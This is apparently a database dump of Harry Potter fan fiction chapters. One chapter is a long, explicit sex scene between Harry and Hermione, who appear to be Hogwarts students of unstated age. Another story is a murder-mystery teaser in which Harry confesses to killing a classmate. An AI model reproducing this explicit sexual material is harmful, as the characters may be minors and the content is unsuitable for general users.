room.</p>\n\n<p>&#8220;I did,&#8221; she said nonchalantly.</p>\n\n<p>&#8220;What did you do that for!?&#8221; he asked, the same intensity in his voice. Hermione removed her arms from his shoulders and took a step back as a reaction.  She was shocked at what his reaction was. Sure she knew he was going to get mad, but not like this!</p>\n\n<p>&#8220;I didn&#8217;t think you&#8217;d mind&#8230;&#8221; she said in an apologetic way, her voice in a soft whisper.</p>\n\n<p>&#8220;DIDN&#8217;T THINK I&#8217;D MIND! OF COURSE I&#8217;D MIND! HOW WOULD YOU FEEL IF I READ YOUR DIARY!? READ ALL YOUR SECRETS AND DESIRES!?&#8221;</p>\n\n<p>Hermione didn&#8217;t answer. It was her turn to be on the receiving end as she bowed her head and tried hard not to cry.</p>\n\n<p>&#8220;I don&#8217;t believe this,&#8221; Harry said, shaking his head. &#8220;I&#8217;m out of here.&#8221; He wanted to turn around and get out of the room, feeling too appalled with Hermione to even look at her, when suddenly&#8230; he couldn&#8217;t. He stood there a few moments, feeling very stupid.</p>\n\n<p>&#8220;I thought you were leaving?&#8221; said Hermione scornfully, not lifting her head up.</p>\n\n<p>&#8220;I was,&#8221; retorted Harry. &#8220;But as stupid as this may sound as much as I look, I&#8230; can&#8217;t.&#8221; </p>\n\n<p>Immediately, Hermione&#8217;s head shot up to him. She remembered what she had said a few moments ago&#8230; &#8220;Irrisistol&#8221;&#8230;</p>\n\n<p>&#8220;What are you smiling at me for?&#8221; Harry asked, seeing the small smile on Hermione&#8217;s face. &#8220;Help me!&#8221;</p>\n\n<p>&#8220;You can&#8217;t leave Harry,&#8221; she explained.</p>\n\n<p>&#8220;And why not?&#8221; he said, in a way that Hermione would say it.</p>\n\n<p>&#8220;You&#8217;re under a spell Harry&#8230; I accidentally used Serine&#8217;s spell on you ,&#8221; she said, walking closer to him.</p>\n\n<p>&#8220;This is just great!&#8221; said Harry angrily. &#8220;Do you know the counter-curse for this?&#8221;</p>\n\n<p>&#8220;I want to give you something too Harry,&#8221; she replied, ignoring Harry&#8217;s question and coming so close to him that Harry could properly examine her face. It was wet from fresh tears he had not seen Hermione shed.</p>\n\n<p>&#8220;I don&#8217;t need anything from you in return Hermione,&#8221; said Harry. &#8220;Just keep the necklace as a token.&#8221;</p>\n\n<p>&#8220;You want nothing from me?&#8221; she asked, pressing her forehead to Harry.</p>\n\n<p>&#8220;No Hermione. Nothing.&#8221;</p>\n\n<p>&#8220;Not even&#8230; me?&#8221;</p>\n\n'),
	(185, 17, '\n\n<b><p align="CENTER">Chapter 17 - Hermione&#8217;s Gift</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry thought about the deepness of Hermione&#8217;s statement - &#8220;Not even&#8230; me?&#8221;. It might&#8217;ve been the fact that he still was upset with her that she read his diary, or the fact that they were alone in the secret common together with her forehead pressed firmly against his, which was something they did on a regular basis when they were a couple; something that he hadn&#8217;t done with her in a long time. He couldn&#8217;t help but stare and found himself getting lost in Hermione&#8217;s deep brown eyes.</p>\n\n<p>&#8220;What do you mean, &#8216;not even me&#8217;?&#8221; gulped Harry, feeling a stirring in his stomach that was so familiar to him.</p>\n\n<p>&#8220;Harry&#8230;&#8221; whispered Hermione, her eyes locked with Harry&#8217;s. She still had a few tears in her eyes and she put her lips just inches away from his. Her breathing began to get slightly deep and heavy, making Harry feel a shiver go down his spine as he felt her warm breath on his face. &#8220;What&#8230; were we supposed to do on my birthday Harry&#8230;?&#8221;</p>\n\n<p>&#8220;Get ice cream and cake?&#8221; he whispered back stupidly, inching his face a bit closer to her, now making their noses touch. His breath began to get heavy too.</p>\n\n<p>&#8220;Try again Potter,&#8221; she whispered back in her heavy breathing, &#8220;then you might&#8230; get a reward&#8230;&#8221; Harry swallowed hard. He had a real answer in his head, but he was too embarrassed to say it. Hermione knew what he was thinking; his eyes never lied to her. She too gulped before speaking in a soft whisper. &#8220;Just say it Harry. I want to hear you say it. What were we supposed to do on my birthday?&#8221; </p>\n\n<p>By now, Harry felt himself get really hot on the inside. He just decided to just say it. The look in Hermione&#8217;s eyes told him that the answer in his head was right.</p>\n\n<p>&#8220;What were we supposed to do on my birthday?&#8221; she repeated in a whisper, but it had a bit more commanding tone in it.</p>\n\n<p>&#8220;M&#8230; make&#8230; l&#8230; love?&#8221; whispered Harry, almost choking on his words. At that instant, he felt a rush of energy flow in his body. Something inside of him somehow told him, &#8216;she&#8217;s ready&#8230;&#8217; </p>\n\n<p>&#8220;Uh huh&#8230;&#8221; nodded Hermione as she closed her eyes and moved her lips closer&#8230; and closer&#8230; until their lips met.</p>\n\n<p>At first the kiss was soft and sweet, just brushing against one another. Harry waited for a reaction from Hermione, for her to take it a bit further or rather <i>wanting </i>her to take it a bit further.<i> </i>But, he figured out after just brushing their lips against one another that he was the one to make the first move. Hermione had somehow told him that, even though she didn&#8217;t say a word. Their feelings and connections for each other were beginning to come back as the kiss continued to go.</p>\n\n<p>Harry pushed his lips harder against Hermione&#8217;s, making her moan through the kiss. That made Harry&#8217;s insides squirm as he withdrew slightly, paused for a split second, and came back again with an open-mouthed kiss. Hermione knew what he was getting to and she responded with an open-mouth kiss as well. Once again for the first time in a long time, their signature kiss was being initiated.</p>\n\n<p>There was something very unique and special about this signature kiss though. Sure, it was a very passionate way of kissing and it never got very aggressive; the gentleness and sweetness was there just the same. This particular time just felt&#8230; different.</p>\n\n<p>For one thing, the open-mouthed kisses lasted for a very long time, far longer than any other time they had done it. For another, the kiss was symbolic, as if it was a gateway or a foreshadowing of things to come.</p>\n\n<p>Hermione was the one to feel it first as she absentmindedly removed Harry&#8217;s glasses and tossed it aside on the coffee table without breaking the kiss. Harry didn&#8217;t even seem to notice or care that she removed his glasses; not even glancing to see if it had broken. Still kissing like passionate lovers, Harry snaked his arms around Hermione&#8217;s slim waist and began to back her up slowly until she slammed into the door of her room. Even that didn&#8217;t phase her and Harry from the kiss. He fumbled with his hands to find the doorknob, turned it, flung the door open, and continued to back her slowly into the room; the both of them still engaged in the kiss.</p>\n\n<p>Though neither of them said it, they both knew very well what was going to happen: they were about to make love. Hermione took the initiative and slid her hands from Harry&#8217;s chest up to his shoulders, sliding his robe off. As it fell to the floor, she undid the buttons of his shirt one by one to expose his chest before placing her soft hands there to feel his firm chest muscles.</p>\n\n<p>It was Harry&#8217;s turn to work as he too removed Hermione&#8217;s robe and unbuttoned her shirt, exposing her white lace bra. Since Hermione didn&#8217;t take his shirt off, he took of Hermione&#8217;s and tossed it behind him as if telling her to take his off too. Hermione got the idea and slid off his shirt as well, feeling his firm biceps in the process. For the first time, since they started, Harry broke the kiss, took a deep breath of oxygen, and looked down at Hermione.</p>\n\n<p>Even though they were going out for a long time before, this was the closest to naked Harry had ever seen her. She looked up at him, her cheeks a bit wet from tears, stood on her tiptoes and planted a soft and succulent kiss near his lips.</p>\n\n<p>&#8220;What?&#8221; she asked, as she felt herself getting hotter by the minute.</p>\n\n<p>&#8220;Are&#8230; you sure?&#8221; asked Harry, feeling a lot hotter than Hermione could ever be.</p>\n<p>&#8220;Uh huh,&#8221; she nodded, pressing her chest against him. Harry gulped, before Hermione had captured his lips again.</p>\n\n<p>Harry&#8217;s hands were moving absentmindedly on Hermione&#8217;s lower back, allowing his fingers to slide into the top of her skirt. He backed her slowly to her bed, held one arm around her waist and his hand from the other arm behind her neck for support as he gently lay Hermione down on her bed with her head on a pillow and lay on top of her, instantly covering her in a mating possessiveness. Immediately, Harry became aroused and Hermione sighed through the kiss he was giving her as she felt him press it against her.</p>\n\n<p>Harry&#8217;s kiss moved from her lips and to her neck, planting deep and succulent kisses there. Hermione gasped and ran both hands through his hair as he kissed, gently nibbled, and softly sucked on her neck. From her neck, he kissed his way down her body, past her collar bone and paused, planting a few kisses on the sensitive skin right above her lace bra before continuing between her chest, down to her stomach, and ending right by her navel, gently swirling his tongue around it.</p>\n\n<p>Hermione had never felt this sort of sensation in her life. She moaned with pleasure and her body kept buckling. Harry had to literally hold her body to the bed as he continued to pleasure her. Though he had not really received anything from her, he was turned on to the max by the sounds he was hearing from her. While kissing the sensitive skin on her stomach, he caressed and played with her thigh muscles through her skirt, which looked so mangled with, that Hermione saw no need for it to still be there.</p>\n\n<p>&#8220;Take&#8230;it off&#8230;all&#8230;of it&#8230;&#8221; she gasped between breaths. &#8220;And&#8230; take yours&#8230; off too&#8230;&#8221; Harry obliged to both commands and slid her skirt off in one smooth motion, exposing her in white lace panties and removing them too, before unbuckling his belt and exposing himself completely. Though Harry was completely nude and Hermione only wearing her bra, he never felt so comfortable with anyone. And by the look of passion on Hermione&#8217;s face, she was comfortable too. After tossing the skirt and panties to the side, Harry made his way back up Hermione&#8217;s body as she unclasped her front-clasping bra making the cups part, exposing her nicely and well-developed breasts. Harry didn&#8217;t even seem to notice her chest was bare as he kissed between her breasts and moved his mouth straight to her lips in a passionate and loving kiss as he once again covered her in a mating possessiveness.</p>\n\n<p>After a few moments of a signature kiss, Harry pressed his forehead to Hermione&#8217;s. The both of them were breathing heavily for air. </p>\n\n<p>&#8220;Harry&#8230;&#8221; Hermione whispered out of breath. &#8220;I&#8217;m cold&#8230;&#8221;</p>\n\n<p>Harry was so out of breath that he couldn&#8217;t even answer. He nodded, reached above Hermione&#8217;s pillow, and grabbed a blanket. Because of the position where Harry was on top of Hermione and because they remained in that position, it was difficult for Harry to unfold it and cover the both of them with it. Nonetheless, Harry did get it (though very sloppily) done. After taking a few more breaths for energy, Harry gave Hermione a quick kiss and looked deep into her eyes.</p>\n\n<p>&#8220;You sure&#8230;?&#8221; he managed to say in a whisper, to get final confirmation with Hermione. Her eyes began to tear a little right when she nodded slowly.</p>\n\n<p>Harry took a deep breath and closed his eyes before taking his erection in hand and guided it toward her opening. He slid the head in a little before he let go and propped his elbows on each side of Hermione&#8217;s ribs. Knowing the pain that was coming for her, he let one hand softly creep on her nape and pulled her into another passionate kiss. After locking his tongue with hers, Harry slid in gently.</p>\n\n<p>As slow and carefully as he slid in, Hermione still felt a sharp pain. She grunted in sort of a displeasure as she flung her arms around Harry&#8217;s neck and kissed him harder, almost bruising their lips, and trying to do anything to take the pain away that she was feeling. Harry felt a tear drop from her eye and he knew automatically what she was trying to do. He continued to enter her as he tried to kiss her back in a way so that her mind would come off the pain she was going through.</p>\n\n<p>After all, this was her first time. And this was Harry&#8217;s as well. There was a feeling in his stomach that felt so bright knowing that her first time was with him and his first time with her. There was not one other woman in his life (not that he had many to choose from) that he could have imagined having sex with. This was because Hermione was it; the perfect person to give himself to.</p>\n\n<p>When Harry had entered all the way into Hermione, he moved his head back from the kiss just enough so that he could see all of her face. She looked flushed under her rosy cheeks that were still wet with her tears, but nonetheless, she was smiling. Not the wide grin that Harry loved especially, but a cute no toothed smile.</p>\n\n<p>&#8220;You ok&#8230;?&#8221; he whispered to her, looks of concern for her state of being on his face. Hermione did nothing but nod weakly.</p>\n\n<p>&#8220;Uh huh,&#8221; she said back in a whisper, &#8220;go slow&#8230;&#8221;</p>\n\n<p>Harry nodded and bend down to the side of her face to plant kisses there and worked his way down to her neck. Hermione gasped at the feeling of his lips on her neck with him inside of her. Harry kissed his way back to her lips and once again initiated the signature kiss. After resting his forehead once again on hers, their eyes locking, Harry began to move slowly against her.</p>\n\n<p>Hermione moaned softly as he started his slow thrusts. She was afraid at first from the feeling of pain that was coming and she was right&#8230; in a way. There was a pain that she felt when Harry first penetrated her, but once he had a slow rhythm going, the pain slowly went away and was replaced with something that she had wanted to feel from him for so long: pleasure. She herself didn&#8217;t know what it was, but the fact that it was Harry who was making love to her probably contributed to the pain going away a lot quicker than it should have. The mere thought of Harry actually making love to her was also surreal. After years of waiting, months of misunderstanding, she was finally getting it. Though his thrusts were slow and delicate, it was enough to make Hermione feel more turned on than anytime in her life.</p>\n\n<p>Harry closed his eyes and continued moving against her, his forehead still pressed firmly on hers, concentrating immensely on keeping his steady thrusts. His thoughts soon became clouded. When Harry had imagined making love to Hermione long ago, it was much different from the way he thought it was going to be. Having the state of mind of any sex-crazed male, he thought that it would feel best if was going to be wild and crazy sex: Harry thrusting madly into her with no remorse; an erotic whimper coming from Hermione every time he thrust back in again. </p>\n\n<p>What he was doing with her now was the complete opposite. </p>\n\n<p>It was slow and controlled, yet it was greatest sensation that he had ever felt in his life. His main concern, however, was Hermione. He didn&#8217;t want her to feel pain and to hate her first time, especially if it was with him. Harry drew his head back slowly and opened his eyes to get a better view of her face. </p>\n\n<p>Deemed beautiful everyday of his life, it looked even more beautiful in the special bond that he and she were in. Her head was back with her hair spread wildly over her pillow, her eyes were closed, and her mouth was agape. From the heavy sounds of breathing he was hearing from her, he could tell that she was enjoying it too, just as much as he was.</p>\n<p>Harry&#8217;s breathing got heavier as he studied Hermione&#8217;s expressions underneath him. It was very tempting for him to lose control now - seeing her with her head back, her eyes closed, her mouth open, and her hair wild was enough to make him thrust faster. Add the fact that she was breathing heavily and clearly enjoying his love-making, and it was certain he would lose control. However, even during those circumstances, Harry maintained his composure.</p>\n\n<p>He was impressed with himself that he didn&#8217;t go ballistic and start speeding up. His mind and body wanted nothing more than to thrust into her roughly, over and over, but his heart - being the greatest thing that he had - had somehow taken complete control of everything. It stopped him from going out of control, stopped him from going to fast, and helped him to <i>make love. </i>It dawned on Harry that they were having sex like &#8220;real people&#8221;, not like porn stars. He wouldn&#8217;t have it any other way right now.</p>\n<p>Hermione soon found Harry&#8217;s unique rhythm and their bodies fit perfectly together<i> </i>as they each matched each others movements. If Harry was unsure if Hermione was enjoying it, this told him that she did when she began to move her hips with his thrusts. She instinctively snaked her hands around his waist and caressed his lower back, moving them up until they were planted on the back of his firm shoulders. Harry couldn&#8217;t help but lean in again and capture her lips with his into another kiss. This time, Hermione kissed him with a little more aggression than before, but still with the passion and love their kisses always had. This of course, persuaded Harry to do other things, but he still kept himself in control.</p>\n\n<p>&#8220;Mmm&#8230;&#8221; moaned Hermione through the kiss, &#8220;go&#8230; faster&#8230;&#8221;</p>\n\n<p>This was all Harry needed to hear. As much as he wanted to &#8220;go faster&#8221; - which in his dazed mind meant going about as fast as a piston would in a car would - he did.</p>\n<p>Though he didn&#8217;t speed up as fast as a piston would, he did speed up a bit; about as fast as his heart would allow him. Hermione groaned and moaned under him as he went into his new speed. She pulled him close to her body tightly and inhaled his scent in reaction, pressing her breast against his lower chest.</p>\n\n<p>&#8220;Oh Harry&#8230;&#8221; she sighed, as her body was starting to get accustomed to his new thrusts. Harry reacted to her words by kissing the side of her neck. &#8220;Oh yeah&#8230;Harry&#8230;&#8221;</p>\n\n<p>Harry gulped at her choice of words. Just hearing them escape her mouth as they made love was sending shivers down his spine. And it was driving him nuts! Still, he managed to maintain his speed. Hermione took the initiative to lower Harry&#8217;s head back down to her into a kiss. For the first time since their love-making began, this was their first really aggressive kiss. Harry&#8217;s eyes crossed in ecstasy as Hermione went even as far as to suck greedily on his tongue. Harry groaned as Hermione continued and his eyes crossed even more when she bit his lip before releasing the kiss.</p>\n\n<p>&#8220;Oh Hermione&#8230;&#8221; moaned Harry as he stopped his thrusts to let his head drop to the side of hers and bury his face into the mattress to catch his breath a bit. It was no surprise that Harry didn&#8217;t speed up; Hermione had made him wither under her influence. Not more than a second later, Harry felt something wet and moist on the tip of his ear. He gulped as he knew what it was: Hermione&#8217;s mouth. She licked and nibbled his ear, making Harry squirm in the latter. He reacted by going back to kiss her again.</p>\n\n<p>After the kiss had broken, Harry went back to his rhythmic thrusts. Hermione reacted by moaning softly, closing her eyes, tilting her back again, and biting her lip. That was definitely it and Harry could take it no longer. </p>\n\n<p>Forgetting completely about everything, he immediately started to thrust a bit faster than usual, waiting to see how Hermione would react. All she did was bit her lip harder and arch her back, making him go deeper into her. This gave Harry the notion that she didn&#8217;t mind at all so he moved subtly faster. Hermione had nestled back into the mattress as Harry continued his thrusts and with her eyes still closed, she muttered under her breath.</p>\n<p>Unable to make out what she was saying, he leaned a bit toward her, moving a little faster in the process. Hermione then could be heard.</p>\n\n<p>&#8220;Oh yeah&#8230;Harry,&#8221; she moaned, almost in a whisper. &#8220;Oh&#8230; that&#8217;s it.&#8221; Harry&#8217;s mind raced through thoughts as he heard her. It was a terrible feeling really; half of him wanting to stay controlled, and the other half of him was losing control.</p>\n\n<p>&#8220;Oh God&#8230;oh Harry,&#8221; she moaned again, a little louder than the first time she spoke. &#8220;Ah yeah&#8230;faster Harry&#8230;&#8221;</p>\n\n<p>He did what she asked him and began to thrust like mad - not as fast as a piston - fast enough to get erotic, but slow enough to remain true to what he believe in.</p>\n\n<p>&#8220;Yes Harry!&#8221; she said, the loudest she had spoken since they started. &#8220;Oh yeah&#8230;just like that!&#8221;</p>\n\n<p>Harry couldn&#8217;t believe the words that were coming out of mouth. Add that to the way she was squirming under him and how he thrust into her, and a climax was inevitable.</p>\n\n<p>&#8220;Mmm&#8230; yes! Yes! YES!&#8221; she screamed getting louder and louder with each shout. &#8220;Oh God Harry!&#8221;</p>\n\n<p>&#8220;Oh Hermione!&#8221; groaned Harry, feeling his insides tightening up.</p>\n\n<p>&#8220;Yeah Harry that&#8217;s it,&#8221; she said. &#8220;Keep going Harry&#8230; it feels so good&#8230;&#8221;</p>\n\n<p>&#8220;Ahhh, Hermione&#8230;&#8221; moaned Harry, as he thrust into her over and over again.</p>\n\n<p>&#8220;Oh God Harry&#8230;!&#8221; she moaned so loudly this time that he was sure someone would hear, but he didn&#8217;t care. &#8220;Ugh&#8230;ah yeah&#8230; oh Harry&#8230;OH HARRY..!&#8221;</p>\n\n<p>He knew what was coming&#8230;she was. And in any minute, he would too.</p>\n\n<p>&#8220;Oh God Harry! Yeah, YEAH, OH GOD&#8230; Harry&#8230;I&#8217;m coming&#8230;&#8221; she said. It sounded like she didn&#8217;t want to say it. Like she didn&#8217;t want it to happen&#8230;yet. To a sex-crazed man with a reputation to uphold, hearing her say she was going to come was music to his ears. To a romantic and passionate lover like Harry, it was distressing, because their love making would be over soon.</p>\n\n<p>Hermione&#8217;s hands went crazy as she came closer and closer to climax. She went from caressing Harry&#8217;s body, to caressing hers, then back to caressing Harry&#8217;s.</p>\n\n<p>&#8220;Ugh&#8230;HAARRRY!&#8221; she screamed in ecstasy, &#8220;I&#8217;m&#8230;COMING&#8230;!&#8221; Harry felt a sensation of her muscles clamp around him, making it a bit harder to him to slide, but feel a lot more pleasurable. She wrapped her legs around him, arched her back, making him go deeper into her, and screamed a scream that Harry had never heard before. It was pitching, it was erotic, and it was beautiful. She had reached orgasm.</p>\n\n<p>It was inevitable that Harry was soon to follow. There were many things that was leading him toward it: Hermione squirming under him, the way she bit her lip in pure ecstasy, how she moved perfectly with his thrusts, and the fact that she had just climaxed because of him. If there were more reasons, he didn&#8217;t care, because he was coming too.</p>\n\n<p>&#8220;Ugh&#8230;I&#8217;m coming too Hermione&#8230;&#8221; he groaned under his breath.</p>\n<p>&#8220;Oh Harry,&#8221; she stated, in a half lustful, half loving sort of way. &#8220;Yeah Harry&#8230;I&#8217;m waiting for you&#8230;&#8221;</p>\n\n<p>He continued his rhythmic thrusts as he felt himself get closer&#8230;and closer&#8230;</p>\n\n<p>&#8220;Ugh&#8230;I&#8217;m coming Hermione&#8230;!&#8221; he grunted as he snapped his eyes shut and bit his lip in concentration. His final stroke came in one full and hard thrust, releasing himself in her. He continued his movements into her, releasing a little more of him every time with each thrust. Hermione could feel every bit of him shoot into her and pulled him down into a kiss, knowing that a new life was just beginning for the both of them.</p>\n\n<p>&#8220;Mmm&#8230; mmm&#8230;&#8221; moaned Hermione through the kiss, gently probing her tongue with his.</p>\n\n<p>Harry gave her a few more open-mouthed kisses before pressing his forehead to hers again and collapsing on top of her, once again their eyes locked and their breathing still a bit heavier than normal.</p>\n\n<p>&#8220;I love you Hermione&#8230;&#8221; whispered Harry, his lips just brushing against hers.</p>\n\n<p>&#8220;I love you too Harry&#8230;&#8221; she whispered back, and pulled him right into another signature kiss.</p>\n\n'),
	(186, 1, '<table>\n</table>\n        \n        \n          Fanfic » Books \n            » Harry \n            Potter » <b>Over the Edge</b>\n          text size: (+) : (-)<table/>\n\n        \n        \n          Author: Moe\n          1. Teaser Chapter2. Blood on the Hands, Murder in the School3. False Accusing and True Confessions4. \n              Complicated Reactions5. There\'s Something About \n              Harry6. The Boy Who Killed7. \n              Screams in the Night8. Hogsmeade, Diagon Ally, and \n              Transfiguration<table/>\n\n        \n        \n          R - English - Angst/Horror - Reviews: 25 \n            - Publish date: 01-24-03 - Updated: 02-02-03 \n          story id: \n  1198206<table/>\n\ndocument.write(\'\');\nOver the Edge<br/><br/><br/><br/>~ Poor Harry Potter. He started out in life as an \norphan, then there\'s this wizard he knows as Lord Voldemort that is out to make \nhim dead. Sure, he looks strong, and brave, but that\'s only on the outside. \nHarry\'s about to loose all sanity left in his mind, and those to suffer, are the \nstudents at Hogwarts. And only one person can do something to help, and that\'s \nHermione.~<br/><br/><br/><br/>Silence, it was all around her, settling in her mind. \nAnother late night in the common room, studying, alone with the fire of course. \nHermione was indulged in her Charms textbook over one of the tables. There was \nan exam two weeks away, one she was fearing over nothing for.<br/><br/>Her mind \nstartled when the portrait hole opened. So late at night, she had expected \neveryone to be asleep.<br/><br/>" Who\'s there?" Hermione whispered \nharshly.<br/><br/>" It\'s just me" Harry. He sounded exhausted and upset. She could \ntell from only three words.<br/><br/>" Oh, hello Harry" she greeted, closing the \nbook, " where were you?".<br/><br/>He was trying to get away from her, " the \nbathroom".<br/><br/>Hermione rushed to block his path to the staircase, " for how \nlong? I\'ve been down here for awhile, I didn\'t hear you leave".<br/><br/>" That \nmust have been it, good night".<br/><br/>She stopped him one last time for a \nfriendly hug given on random occasions, " good night".<br/><br/>He quickly hugged \nher in return, then brushed past and went \nupstairs.<br/><br/><br/><br/><br/><br/>Foreshadowing Chapter Two- Why does Hermione \nwake in her bed the next morning with blood on her bed \nsheets?<br/><br/><br/><br/>Authors Note: It\'s short, yes, but that\'s why it\'s a \nteaser, for now and only now of course. Yes, I know, very many people cannot see \nHarry being the horrible person he will become in this story, but you\'ll see \nwhere he\'s coming from. Trust me, and give it a chance. Thanks! \n<hr/>\n\n  \n  \n    \n    \n      \nfunction select_drop(sel_value) {\n  var storyid = 1198206;\n  var chapter = 1;\n  var userid = 215686;\n  var title = \'Over+the+Edge\';\n  var pre = 0;\n  var rev = 1;\n\n  if(sel_value == \'review\') {\n	var toast = window.open(\'/review.php?storyid=\'+storyid+\'&amp;chapter=\'+chapter+\'&amp;title=\'+title+\'&amp;userid=\'+userid+\'&amp;pre=\'+pre+\'&amp;rev=\'+rev,\'0\', \'toolbar=0,scrollbars=0,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=410,left=312,top=184\');\n  }\n  else if (sel_value == \'abuse\') {\n 	var toast = window.open(\'/report.php?storyid=\'+storyid+\'&amp;title=\'+title,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\');\n  }\n  else if (sel_value == \'fs\') {\n	var toast = window.open(\'/fav_add.php?fs=1&amp;storyid=\'+storyid,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\');\n  }\n  else if (sel_value == \'fa\') {\n	var toast = window.open(\'/fav_add.php?fa=1&amp;userid=\'+userid,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\');\n  }\n  else if (sel_value == \'aa\') {\n 	var toast = window.open(\'/fav_add.php?aa=1&amp;userid=\'+userid,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\');\n  }\n\n}\n				\n       Submit ReviewReport Possible AbuseAdd Story to \n        FavoritesAdd Author to FavoritesAdd \n        Author to Author Alert  \n    \n    1. Teaser Chapter2. Blood on the Hands, Murder in the School3. \n        False Accusing and True Confessions4. Complicated \n        Reactions5. There\'s Something About Harry6. The Boy Who Killed7. Screams in the \n        Night8. Hogsmeade, Diagon Ally, and \n        Transfiguration<table/>\n'),
	(186, 2, 'Over the Edge<br><br>Chapter Two- Blood on the Hands, Murder in the \nSchool<br><br><br><br>The next morning was a Saturday, it was very quiet when \nshe woke. Hermione opened her eyes, she was alone in the dorm room, everyone \nelse had probably gone to the Great Hall for breakfast. She turned over, her \nhand landed in something cold and wet. Looking, it was covered in a deep red \nliquid. Blood. Hermione sat up, there was blood under her on the sheets as well \nas next to the pillow.<br><br>But it wasn\'t hers.<br><br>The blood wasn\'t coming \nfrom her, but something on her body. She was in the same clothes as the night \nbefore, going to bed late enough to not bother with changing. Hermione leapt out \nof bed and tore off her cloak, throwing it back on the mattress.<br><br>Running \nher hands across the cloth, blood covered every inch of her hands, it was \nsoaked. She jumped back, gazing at her hands. She didn\'t know who\'s blood it \nwas, or how it got on her cloak. And now, her hands. Hermione was panicking, she \ncleaned her hands on the cloak as fast as she could then covered it with the \ncomforter. She then ran out of the dorm room.<br><br><br><br><br><br>Everyone, \nevery student in Gryffindor, were crowded in the common room, buzzes of \nconversation all around. The first person to greet Hermione when she came \ndownstairs was Ginny Weasley.<br><br>&quot; What\'s going on?&quot; she kept looking \naround.<br><br>Ginny looked horrified, &quot; a student is dead&quot;, her eyes widened, &quot; \nwe have to stay in here&quot;.<br><br>&quot; Dead?&quot; Hermione gasped, &quot; w-who was \nit?&quot;.<br><br>Ginny shrugged, &quot; they haven\'t said, all we know is that it was a \nmurder&quot;.<br><br>Hermione suddenly felt light headed and sick. The blood, in her \nroom, in her bed, on her clothes, and now someone turns up dead. Worse yet, \nmurdered.<br><br>Footsteps were heard in the portrait hole, and the room went \nsilent. Professor McConagall appeared before them, with her everlasting facial \nexpression.<br><br>&quot; No student is to leave the common room until further \nnotice, meals will be served here at their usual times. As for the tragic events \nof early this morning, any student with any information they may think is \nhelpful is encouraged to write them down and give them to me. They will be \npassed on toProfessor Dumbledore. Any information at this time may help to find \nthe person or people who are responsible for the death of Colin \nCreevey&quot;.<br><br>Everyone in the room gasped at least once. Ginny had tears in \nher eyes, sometimes Hermione had a way of absorbing her emotions when she didn\'t \nknow how to react.<br><br>&quot; Oh my god&quot; Ginny cried, &quot; I\'m going to go talk to \nDennis&quot; she walked into the mob ahead.<br><br>Hermione went in the other \ndirection, seeing Ron and Harry by one of the windows, alone.<br><br>&quot; How weird \nis this?&quot; Ron asked when he saw her coming towards them.<br><br>&quot; It\'s so sad, I \ncan\'t believe it, an innocent boy like Colin&quot; she looked at Harry who was \nstaring at the stained glass, &quot; did you see anything? You were out last \nnight&quot;.<br><br>Harry turned, &quot; not a thing&quot;.<br><br>&quot; I doubt anyone saw \nanything&quot; Ron said. But Hermione was still focused on Harry, the way he was \nresponding to things and how he wasn\'t very alert.<br><br><br><br>That\'s when \nshe began to wonder, if she did have information, on who murdered \nColin.<br><br><br><br><br><br><br><br>Foreshadowing Chapter Three- Who does \nHermione think the murderer is?\n'),
	(186, 3, 'Over the Edge<br><br>Chapter Three- False Accusing and True \nConfessions<br><br><br><br>Hermione spent the remainder of the day biting her \nfingernails and pacing around the dorm room. She had washed the blood away, but \nit was still engraved in her mind, she couldn\'t get it out of her brain. \nHermione had a tendency to be delirious when studying so late, with growing \nexhaustion and a decreasing memory. It was a long shot, but also a possible \none.<br><br>While everyone was getting prepared for bed, Hermione gave Harry a \nnote, asking him to meet her in the common room after lights out. Lights out, \nthat\'s where it all began. Along the day, Hermione found out some more details \nabout the murder.<br><br>Colin died somewhere between midnight and three in the \nmorning, the range of Harry returning to the tower and Hermione going to bed. \nFilch found him in the library, his throat had been slashed. There was no murder \nweapon, nothing, nothing was found. It could have been anyone, even \nHermione.<br><br><br><br>She stood by the fire, waiting, like a stone statue. \nHearing the click from a door upstairs, her eyes shot to the staircase where \nHarry came running down them.<br><br>&quot; Are you alright?&quot; he had a deep look of \nworry.<br><br>Hermione nodded, like she was afraid to do anything else, &quot; if I \ntell you something, do you promise not to tell?&quot;.<br><br>The look deepened, &quot; \nwhat? What is it?&quot;.<br><br>This was the one person, out of anyone, who she could \ntrust. No matter what, but she still had to be sure. &quot; Promise me&quot;.<br><br>&quot; \nYes, I promise&quot;.<br><br>She took a deep breath, &quot; I think I know who killed \nColin&quot;.<br><br>Now he looked scared, very scared, &quot; w-who?&quot;.<br><br>&quot; \nMe&quot;.<br><br>&quot; What?&quot; he sharply gasped.<br><br>&quot; I think, I murdered him, I \nthink there\'s a chance I may have when I was exhausted last night \nand...&quot;.<br><br>Harry gently grabbed her by the shoulders, &quot; Hermione, listen to \nme, look at me. You did not kill anyone, okay? You did not murder \nColin&quot;.<br><br>She began to tremble she was scared so much, &quot; how? How do you \nknow that?&quot;.<br><br>&quot; Because, I did \nit&quot;.<br><br><br><br><br><br><br><br><br><br>Authors Note- Thanks for the reviews \neveryone, keep it up!!<br><br>Foreshadowing for Chapter Four- What\'s Harry going \nto tell Hermione and how will she take it?\n'),
